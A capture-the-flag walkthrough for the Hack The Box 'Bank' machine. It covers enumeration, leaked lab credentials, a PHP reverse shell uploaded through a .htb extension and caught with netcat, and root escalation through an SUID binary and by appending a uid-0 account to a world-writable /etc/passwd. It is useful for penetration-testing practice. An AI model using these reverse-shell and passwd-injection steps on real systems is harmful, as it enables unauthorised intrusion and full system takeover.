Challenge Overview

Bank is an easy-rated Linux machine that highlights classic web application exploitation techniques and privilege escalation misconfigurations. The compromise path follows three main stages:

• Web Enumeration: Identifying a hidden virtual host and extracting sensitive data
• Initial Foothold: Exploiting a weak file upload validation to obtain a reverse shell
• Privilege Escalation: Gaining root access via insecure SUID binaries and misconfigured file permissions

Initial Reconnaissance

Network Enumeration

Use nmap to scan the machine for open ports and services:

nmap -A -oN nmap.txt 10.10.10.29

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

Observations:

• Web service running on Apache
• DNS service available (suggesting possible subdomain/virtual host usage)
• SSH open for potential later access

Web Enumeration

Virtual Host Discovery

Visiting http://10.10.10.29 only shows the default Apache page, often an indicator of name-based virtual hosting.

Based on the machine’s name, add a host entry for bank.htb:

echo "10.10.10.29 bank.htb" | sudo tee -a /etc/hosts

Accessing http://bank.htb reveals a login page:

Directory Enumeration

gobuster dir -u http://bank.htb \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php -o gobuster.txt

Findings:

/index.php            (302 → login.php)
/login.php            (200)
/support.php          (302 → login.php)
/uploads              (301)
/assets               (301)
/logout.php           (302 → index.php)
/inc                  (301)
/balance-transfer     (301)

The /balance-transfer directory stands out, exposing a directory listing containing multiple .acc files.

Exploitation

Credential Disclosure

Most .acc files contain encrypted data, but one file (68576f20e9732f1b2edc4df5b8533230.acc) leaks plaintext credentials due to a failed encryption process:

Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##

With these credentials, login succeeds and grants access to the bank dashboard.

File Upload Vulnerability

The Support page allows image uploads. Reviewing the source code discloses a dangerous misconfiguration:

<!-- [DEBUG] 
I added the file extension .htb to execute as php for debugging purposes only
[DEBUG] -->

This means any .htb file is executed as PHP.

Exploit:

1. Generate a PHP reverse shell (e.g., PentestMonkey).
2. Upload it as shell.htb.
3. Trigger the file via the Click here button on My Tickets table.

nc -lvnp 1337

Once executed, a reverse shell is obtained:

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User flag: Located in /home/chris/user.txt

Privilege Escalation

Path 1: Abusing SUID Binary

List SUID binaries:

find / -type f -perm -u=s 2>/dev/null

Notable finding:

/var/htb/bin/emergency

This script is misconfigured and executes itself recursively with root privileges, leading to a root shell:

/var/htb/bin/emergency
id
uid=0(root) gid=0(root)

Root flag: /root/root.txt

Path 2: Writable /etc/passwd

Another privilege escalation vector is the world-writable /etc/passwd:

ls -l /etc/passwd
-rw-rw-rw- 1 root root ... /etc/passwd

Exploit:

1. Generate a password hash:

   openssl passwd -1 random

2. Append a root-level user entry:

   echo 'random:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd

3. Switch to the new account:

   su random

Root access is obtained.

NOTE

Always upgrade to a proper TTY before using su:

python -c 'import pty; pty.spawn("/bin/bash")'

References

• Hack The Box - Bank
• PentestMonkey PHP Reverse Shell